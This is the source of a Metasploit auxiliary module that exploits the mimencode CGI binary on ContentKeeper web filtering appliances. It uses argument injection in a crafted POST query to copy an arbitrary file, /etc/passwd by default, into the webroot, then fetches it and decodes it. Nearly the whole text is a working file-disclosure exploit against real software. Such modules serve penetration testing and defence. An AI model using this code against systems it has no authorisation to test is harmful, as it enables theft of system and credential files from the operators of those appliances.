```
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Scanner

  def initialize
    super(
      'Name' => 'ContentKeeper Web Appliance mimencode File Access',
      'Description' => %q{
        This module abuses the 'mimencode' binary present within
        ContentKeeper Web filtering appliances to retrieve arbitrary
        files outside of the webroot.
        },
      'References' => [
        [ 'CVE', '2009-10005' ],
        [ 'OSVDB', '54551' ],
        [ 'URL', 'http://www.aushack.com/200904-contentkeeper.txt' ],
      ],
      'Author' => [ 'aushack' ],
      'License' => MSF_LICENSE,
      'Notes' => {
        'Stability' => [CRASH_SAFE],
        'SideEffects' => [IOC_IN_LOGS],
        'Reliability' => []
      }
    )

    register_options(
      [
        OptString.new('FILE', [ true, 'The file to traverse for', '/etc/passwd']),
        OptString.new('URL', [ true, 'The path to mimencode', '/cgi-bin/ck/mimencode']),
      ]
    )
  end

  def run_host(_ip)
    tmpfile = Rex::Text.rand_text_alphanumeric(20) # Store the base64 encoded traversal data
in a hard-to-brute filename, just in case.

    print_status("Attempting to connect to #{rhost}:#{rport}")
    res = send_request_raw(
      {
        'method' => 'POST',
        'uri' => normalize_uri(datastore['URL']) + '?-o+' + '/home/httpd/html/' + tmpfile +
'+' + datastore['FILE']
      }, 25
    )

    if res && res.code == 500
      print_good("Request appears successful on #{rhost}:#{rport}! Response: #{res.code}")

      file = send_request_raw(
        {
          'method' => 'GET',
          'uri' => '/' + tmpfile
        }, 25
      )

      if file && (file.code == 200)
        print_status("Request for #{datastore['FILE']} appears to have worked on #{rhost}:#
```

```
  {rport}! Response: #{file.code}\r\n#{Rex::Text.decode_base64(file.body)}")
        elsif file && file.code
          print_error("Attempt returned HTTP error #{res.code} on #{rhost}:#{rport} Response:
  \r\n#{res.body}")
        end
      elsif res && res.code
        print_error("Attempt returned HTTP error #{res.code} on #{rhost}:#{rport} Response:
  \r\n#{res.body}")
      end
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
      vprint_error(e.message)
    rescue ::Timeout::Error, ::Errno::EPIPE => e
      vprint_error(e.message)
    end
  end
```